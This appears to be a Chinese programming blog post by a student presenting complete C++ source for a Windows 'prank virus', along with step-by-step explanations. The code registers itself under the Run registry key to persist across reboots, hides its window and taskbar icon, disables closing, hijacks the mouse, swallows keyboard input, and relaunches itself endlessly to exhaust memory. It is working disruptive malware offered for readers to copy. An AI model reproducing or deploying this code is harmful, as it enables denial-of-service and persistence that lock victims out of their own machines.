C++小病毒(通用加强版)

目录

闲扯一会儿

进入正题

宏、头文件、命名空间

隐藏任务栏图标、禁用关闭键

检查是否第一次打开

提示语、开机启动、保存

提示语

开机启动

保存

开线程

隐藏控制台

抢内存

代码封装

再扯一会儿


闲扯一会儿

嘿嘿嘿!我又来了!

我们班计算机课在周五,由于节假日我们学校放得早,所以上周清明节放假就没上计算机课。计算机老师为了“弥补”这个“遗憾”,有一个特殊机制:

一道编程题,班上只要有一个同学做出来,全班就可以“解放”。老师刚说完,一个同学(他是男的)就抱起了我(我也是男的)(因为我很轻),全班都把希望的“矛头”指向我。

于是我就开干了。题很简单,用什么语言都行,我当然用C++(不过我还是会一点点Python的)。

不到十分钟,我就做出来了。全班欢呼着,那个男同学又把我抱起来。

老师还给了我10积分,真好!接下来就可以自由活动了。

 我上周不是写了一篇文章吗?

C++小病毒(VS版)

我想着那病毒,于是向老师申请开网,老师同意了。

于是我把病毒代码复制过来,由于我在学校用的是Dev-C++,在稍作修改(不影响整体效果)后,开始运行。

可出现了以下问题:

1、任务栏图标并没有隐藏(在C++小病毒(VS版)中已经改了小标题)。

2、提示栏每次都要弹出,如果忽略你在鼠标乱移时刚好点到“确定”的情况,就会导致复制的程序无法再次复制自己。

所以就有了这篇文章。

进入正题

在这里,提一嘴,如果你用的Dev-C++,请参见如何更改C语言标准并更改至C++11。

宏、头文件、命名空间

#define _CRT_SECURE_NO_WARNINGS //strcat()所需
#include<iostream>              //输入输出
#include<string>                //字符串处理
#include<Windows.h>             //Windows系统
#include<conio.h>               //按键信息
#include<thread>                //线程
#include<tchar.h>               //_T()等
#include<fstream>               //读取与保存
using namespace std;            //为了方便

检查是否第一次打开

其实就是打开一个文档,读取内容,再进行一个判断。

int check = 0;
ifstream in("save.txt");
in >> check;
in.close();
if (check != 1)
{
    //是第一次打开
}
//不是第一次打开

提示语、开机启动、保存

这部分在判断语句中写。

提示语

cout << "该程序是病毒!后果自负!" << endl;
cout << "按任意键以代表您已知晓并启动病毒……" << endl;
_getch();

开机启动

C++小病毒(VS版)

保存

为了让复制的程序知道它不是第一次被打开。

ofstream out("save.txt");
out << 1;
out.close();

开线程

写两个线程函数。

int x = GetSystemMetrics(SM_CXSCREEN);
int y = GetSystemMetrics(SM_CYSCREEN);
DWORD WINAPI mouse(LPVOID lpParameter)
{
    srand(time(0));
    while (1)
    {
        SetCursorPos(rand() % x, rand() % y);
    }
    return 0L;
}
DWORD WINAPI key(LPVOID lpParameter)
{
    while (1)
    {
        FlushConsoleInputBuffer(GetStdHandle(STD_INPUT_HANDLE));
    }
    return 0L;
}

在判断外写上两句。

HANDLE hThread = CreateThread(NULL, 0, mouse, NULL, 0, NULL);
CloseHandle(hThread);
hThread = CreateThread(NULL, 0, key, NULL, 0, NULL);
CloseHandle(hThread);

 隐藏任务栏图标、禁用关闭键

这个还算简单。

//隐藏任务栏图标
HWND hWnd = GetConsoleWindow();
SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
//禁用关闭键
HMENU hmenu = GetSystemMenu(hWnd, false);
RemoveMenu(hmenu, SC_CLOSE, MF_BYCOMMAND);
LONG style = GetWindowLong(hWnd, GWL_STYLE);
style &= ~(WS_MINIMIZEBOX);
SetWindowLong(hWnd, GWL_STYLE, style);
SetWindowPos(hWnd, HWND_TOP, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
ShowWindow(hWnd, SW_SHOWNORMAL);
DestroyMenu(hmenu);
ReleaseDC(hWnd, NULL);

隐藏控制台

在主函数中写。

hWnd = FindWindow(_T("ConsoleWindowClass"), NULL);
if (hWnd)
{
    ShowWindow(hWnd, SW_HIDE);
}

抢内存

在主函数中写。

while (1)
{
    char s[100] = "start ";
    system(strcat(s, argv[0]));
}

代码封装

完整代码见下。

#define _CRT_SECURE_NO_WARNINGS
#include<iostream>
#include<string>
#include<Windows.h>
#include<conio.h>
#include<thread>
#include<tchar.h>
#include<fstream>
using namespace std;
int check = 0;
int x = GetSystemMetrics(SM_CXSCREEN);
int y = GetSystemMetrics(SM_CYSCREEN);
DWORD WINAPI mouse(LPVOID lpParameter)
{
    srand(time(0));
    while (1)
    {
        SetCursorPos(rand() % x, rand() % y);
    }
    return 0L;
}
DWORD WINAPI key(LPVOID lpParameter)
{
    while (1)
    {
        FlushConsoleInputBuffer(GetStdHandle(STD_INPUT_HANDLE));
    }
    return 0L;
}
int main(int argc, char** argv)
{
    ifstream in("save.txt");
    in >> check;
    in.close();
    if (check != 1)
    {
        cout << "该程序是病毒!后果自负!" << endl;
        cout << "按任意键以代表您已知晓并启动病毒……" << endl;
        _getch();
        HKEY hKey;
        if (RegOpenKeyEx(HKEY_CURRENT_USER, _T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS)
        {
            TCHAR strExeFullDir[MAX_PATH];
            GetModuleFileName(NULL, strExeFullDir, MAX_PATH);
            TCHAR strDir[MAX_PATH] = {};
            DWORD nLength = MAX_PATH;
            long result = RegGetValue(hKey, nullptr, _T("GISRestart"), RRF_RT_REG_SZ, 0, strDir, &nLength);
            if (result != ERROR_SUCCESS || _tcscmp(strExeFullDir, strDir) != 0)
            {
                RegSetValueEx(hKey, _T("GISRestart"), 0, REG_SZ, (LPBYTE)strExeFullDir, (lstrlen(strExeFullDir) + 1) * sizeof(TCHAR));
                RegCloseKey(hKey);
            }
        }
        ofstream out("save.txt");
        out << 1;
        out.close();
    }
    HANDLE hThread = CreateThread(NULL, 0, mouse, NULL, 0, NULL);
    CloseHandle(hThread);
    hThread = CreateThread(NULL, 0, key, NULL, 0, NULL);
    CloseHandle(hThread);
    HWND hWnd = GetConsoleWindow();
    SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
    HMENU hmenu = GetSystemMenu(hWnd, false);
    RemoveMenu(hmenu, SC_CLOSE, MF_BYCOMMAND);
    LONG style = GetWindowLong(hWnd, GWL_STYLE);
    style &= ~(WS_MINIMIZEBOX);
    SetWindowLong(hWnd, GWL_STYLE, style);
    SetWindowPos(hWnd, HWND_TOP, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
    ShowWindow(hWnd, SW_SHOWNORMAL);
    DestroyMenu(hmenu);
    ReleaseDC(hWnd, NULL);
    hWnd = FindWindow(_T("ConsoleWindowClass"), NULL);
    if (hWnd)
    {
        ShowWindow(hWnd, SW_HIDE);
    }
    while (1)
    {
        char s[100] = "start ";
        system(strcat(s, argv[0]));
    }
    return 0;
}

再扯一会儿

这次其实就把提示框改成了一句话,加了个check变量,加了几句隐藏任务栏图标的代码,加了个线程,代码也不算长。

哦,对了,再提一嘴,有虚拟机的帮忙看看。

好像该扯的都扯完了。

算了,早点睡了,拜拜!

评论 15
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

H.Y_C ⁹⁹⁹⁹⁹⁹⁺

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值